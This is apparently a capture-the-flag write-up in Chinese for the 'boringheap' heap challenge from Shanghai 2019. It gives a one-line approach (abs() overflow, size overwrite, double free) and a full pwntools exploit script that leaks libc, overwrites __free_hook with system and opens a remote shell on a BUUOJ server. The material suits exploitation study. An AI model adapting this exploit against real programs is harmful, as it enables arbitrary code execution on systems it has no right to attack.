shanghai2019_boringheap

思路

abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hook
exp:

from pwn import *
#p=process('./pwn')
p=remote('node3.buuoj.cn',26942)
elf=ELF('./pwn')
libc=elf.libc

def add(size,content):
	p.sendlineafter('Exit','1')
	p.sendlineafter('Size:',str(size))
	p.sendlineafter('Content:',content)

def edit(idx,wher,content):
	p.sendlineafter('Exit','2')
	p.sendlineafter('?',str(idx))
	p.sendlineafter('?',str(wher))
	p.sendlineafter('Content:',content)

def delete(idx):
	p.sendlineafter('Exit','3')
	p.sendlineafter('?',str(idx))

def show(idx):
	p.sendlineafter('Exit','4')
	p.sendlineafter('?',str(idx))

for i in range(20):
	add(2,'/bin/sh\x00')
payload='\x11'*0x18+p64(0x481)
edit(0,0x80000000,payload)
delete(0)
add(2,'aaaa')
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(2,'bbbb')
delete(1)
delete(21)
add(2,p64(free_hook))
add(2,'doudou')
add(2,p64(system))
#show(6)
delete(18)
p.interactive()